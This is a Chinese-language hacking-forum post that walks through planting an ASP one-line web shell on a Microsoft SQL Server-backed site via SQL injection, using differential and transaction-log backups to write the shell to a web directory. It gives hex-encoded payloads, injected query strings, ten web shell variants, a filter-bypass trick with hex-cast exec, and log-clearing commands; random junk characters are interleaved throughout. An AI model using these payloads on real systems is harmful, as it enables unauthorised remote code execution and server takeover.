中国网络渗透测试联盟
标题:
MSsql差异备份总结
[打印本页]
作者:
admin
时间:
2012-9-13 17:21
标题:
MSsql差异备份总结
差异备份的流程大概这样:
& W1 _6 M5 T' f) Y; }# B$ y
1.完整备份一次(保存位置当然可以改)
+ D6 ^# s) p g, i& }; u& x2 L6 i
backup database 库名 to disk = 'c:\ddd.bak';--
+ e# {8 l. i7 U5 ~& a+ U* \
4 z6 {+ U- L- _$ }: G& b
2.创建表并插曲入数据
8 ?" C! Z; I0 b. `2 U" E+ I2 Y8 |
create table [dbo].[dtest] ([cmd] [image]);
& p/ ?& [+ ^; N0 X
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--
0 G' I0 R1 X! k& `3 E
# Z0 i) L7 P" o; {& f
3.进行差异备份
! G3 N5 E4 ?5 x
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
9 A' Q( i+ T3 n7 o( g, }
- b( R' y8 Y- F9 A+ l: P" P. u6 V
上面
. L4 Q$ _7 T, Y* `( _4 d: M
0x3C25657865637574652872657175657374282261222929253E
7 b5 v$ P4 u; M$ Z) H9 o: U
就是一句话木马的内容:<%execute(request("a"))%>
4 `" u4 F4 b3 E, {0 g+ ^* }
8 M" Z5 g3 p. F7 p4 ?" J4 W! N
如下是网上常见的差异备份代码,思路一样!
$ y1 }; s! M% |- T* |
===================================================
9 S, c/ D$ X- u5 @ i
利用差异备份提高提高backupwebshell的成功率,减少文件大小
0 J+ _$ V' B. p- ?8 e6 X+ }5 K
步骤:
2 L" r2 z$ @- i: t$ i. P
' M* s; M& y6 k2 X
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s --备份数据库
- j6 c. v* z: v7 w5 ]2 ^
* n) }& ?2 D7 V# `1 h
create table [dbo].[xiaolu] ([cmd] [image]); -- 创建一个表
0 j. q# w, a7 l9 y+ M
# y6 e7 d8 C- s4 [1 Z/ u
& |3 M( i( q, S; E) o
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E) --将一句话木马的16进制字符插入到表中
6 z# m K) L4 Y% A$ E
" i$ P" @! v* u' g# O
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT --对数据库实行差异备份
8 @$ ]: \8 d+ {1 Z' f5 h6 q( Y
; w4 g4 V0 N! s1 A) n) V
drop table [xiaolu] -- 删除此表。
; U* U- { ~& g' c* }
! ^+ r% ^9 } o, x1 k5 b
0x77006F006B0061006F002E00620061006B00为wokao.bak
: \ z7 T. p! V" ~' [+ {" t
0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>
% T3 J/ b! ?, G, R* c C$ e
0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp
2 N& N% m. {2 |; s `0 Y
! ~( x6 Y# Y1 W2 C! U
声明:方法不是我想的,我只是写工具,默认得到shell是
, v* E' y6 `4 k* c" h+ U1 X& _
<%execute(request("a"))%>
+ P, \3 q- a! x
===============================================================
, I9 O: l0 I( G& ~' m& [
# W! O# S7 N, [/ a
我发现上面代码,有时会无效,而直接用
: o9 u* e0 x; @2 d! q
4 G- f. K; {9 P9 _
backup database 库名 to disk = 'c:\ddd.bak'
9 C8 y$ A: b7 M4 {5 w# [: X
$ T; n, L: B$ _4 U9 S# t2 w
create table [dbo].[dtest] ([cmd] [image]);
# W, z1 ^4 V' Y: E: h3 P
+ C5 o" z+ @' E$ a5 L Q" Y
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
% O2 L2 R ?& M
6 _, U% Y$ C' O; {3 ^+ y0 }- G
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
- z9 o) b9 ?) w! i8 Y8 L/ w
8 L' Z# X1 J! y) M
却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!
# u9 F( e. y. u! g, o, h+ v$ p
2 f( i: e7 C9 D/ Y+ t* Q) y
库名 必须要有效的库名,一般注入工具都可以得到!如果某站过滤 "‘",就要把字符内容转为数值了!
9 o+ ^8 n8 d2 v0 N0 p
" }$ |( N, p0 O6 n# X
网上还有log增量备份的,我也把他记录一下
; g8 ?8 z, D+ b4 l
=====================================================
3 H! c" S7 s) L4 v# b
另一种log增量备份技术:
( D- J" f/ f5 t& G) G6 f, b4 p
! G& P- ]; Y- I8 ~# D
';alter database null set RECOVERY FULL--
- d9 h# M4 v5 H5 H& g
4 k& x! J) Y: K+ p. t' W5 B
';create table cmd (a image)--
" s3 N! z$ {* o9 l$ B1 w
$ s/ y- P( G8 b: J P/ E# ^: r
';backup log null to disk = 'f:\cmd' with init--
/ n0 t/ I6 b3 Z+ X1 I0 C' m
5 c6 }; L! j: w- `
';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--
9 x- n8 _) F' v7 a) \5 |
( K' P# P8 H( h9 W
';backup log null to disk = '备份路径'--
% C' e* U1 |* a& e: W
a2 p2 x( z) o+ ^# q( h" K
';drop table cmd--
# J8 l" j8 s" e8 ?6 D' H
4 ]) T( a4 U9 C( P
';alter database XXX set RECOVERY SIMPLE--
. ^ R4 a' P" ? H2 j
, f+ P" l- g4 _
PS:0x3C2565786563757465287265717565737428226122292
* D9 N$ l u! B- w R0 D
9253EDA 是一句话小马16进制转来的
" B8 u' b6 w W+ P& k |( Z
' S Z8 C) U/ W
说到一句话马,还可以有这么几种写法:
3 a0 I6 i$ i5 w7 ~, Y2 p# R8 p
$ p! O' b6 ~- j% J/ Y
a)<%%25Execute(request("a"))%%25>
7 O/ Z) G, G7 v, h. k, `
b)<%Execute(request("a"))%>
( k5 ]: p2 C3 [; Q( Z6 V2 w! r+ o
c)%><%execute request("a")%><%
X4 T" ]! [. v8 E$ W e1 [
d)<script language=VBScript runat=server>execute request("a")</script>
$ t7 {9 C+ A1 V0 \' `% z2 A9 Y
e)<%25Execute(request("a"))%25>
6 ?. C$ {/ G+ C& X# `, Y' H, y: x# i
f)<%eval(request("a")):response.end%> 备分专用一句话 (也就是插入一句话后所有的代码都无效,在一句话这里打止)
* E% m- S$ m) M
g)"%><%eval (request (chr(309)))%><%'" 网站配置版权信息插马专用一句话
1 o( n; D. ]4 R4 c
h)<%On Error Resume Next:response.clear:execute request("value"):response.End%>
. O4 T4 V8 |* @: }
I)<%eval request(0)%>
4 }) f/ Q/ s+ J6 A! [
J)"%><%Eval Request(0)%> 网站配置版权信息插马专用一句话
8 l: O9 [2 P) M1 o
: K2 s% Q8 U0 F) l
=============================================
8 C B& Z( G( c
+ v) e" A9 y* E: U4 f
当遇到差备过滤了/时用这个语句代替
# T$ l" q. s7 x" X2 e* ]
5 f& G" j& v0 r" j5 I+ @
declare @a varchar(1024);set @a=cast(0x65786563206D6D as varchar(1024));exec (@a);--
2 c; ~4 X+ f9 W5 x6 |+ {
3 O- z. c+ K1 m8 G- k1 i* y
把要执行的语句转16进制然后用exec执行
& m: T, T; O! Q0 ^
/ q$ R$ c: E1 Q* j$ o/ s+ H
% p3 |8 T: D$ ?4 u; Y9 Q4 n# @
减少备份文件大小方法如下:
! U6 X6 c8 s* U( }; [8 l: k' _% ~
, x9 x# k N3 d: w$ w# q
总的来说就是那么简单几句,下面以备份数据库model为例子
6 F3 ?' t) V- N% O
1
" B. S/ S. ^$ N3 C! s8 _7 e8 [
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
% `; v4 {! G. P# x7 B
2
/ n5 Q( B" j6 D% ~) l* u0 g
id=1;backup database model to disk='你的路径‘ with differential,format;--
$ ?' B( B/ l$ H
& N7 I- \ s1 r6 ~3 x
) c5 @1 T) Z1 i! C
# v) A c9 O- j; i
SQL语句清理日志
4 H/ T1 G2 Z |+ Q+ e% }, k( l
注:test为数据库名
3 K$ A" t1 c; s0 w' d
5 u, h0 I- j X E. Z# a% ]. t0 `$ ^, c
--清空日志
5 R) t% B- x4 S# O! g) z
DUMP TRANSACTION test WITH NO_LOG
y% o2 W0 c% y( O
8 K8 {- o* X( B' O2 b
--截断事务日志
$ h& w/ b/ G4 B# d* R9 x' s& H/ z9 `( _
BACKUP LOG test WITH NO_LOG
2 `0 ], q0 F9 v1 u, T
! i+ i W# @ m5 c- R1 q
--收缩数据库
9 y9 a( |& y3 r: V5 [& d+ z5 h
DBCC SHRINKDATABASE(test)
) e/ M5 V0 T( k5 i! | \# q, {
, C. p8 S+ y" m Z# h, i
--收缩指定数据文件,1是文件号,可以通过这个语句查询到
. `' Q9 S- b3 I+ A% p/ M
Select * from sysfiles DBCC SHRINKFILE(1)
: A3 D( W# C4 n$ j/ N6 X: z
: Q) u# }" q: }$ e( ]. c
--以后能自动收缩
" C" x, {$ Y; Y
EXEC sp_dboption 'test', 'autoshrink', 'TRUE'
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2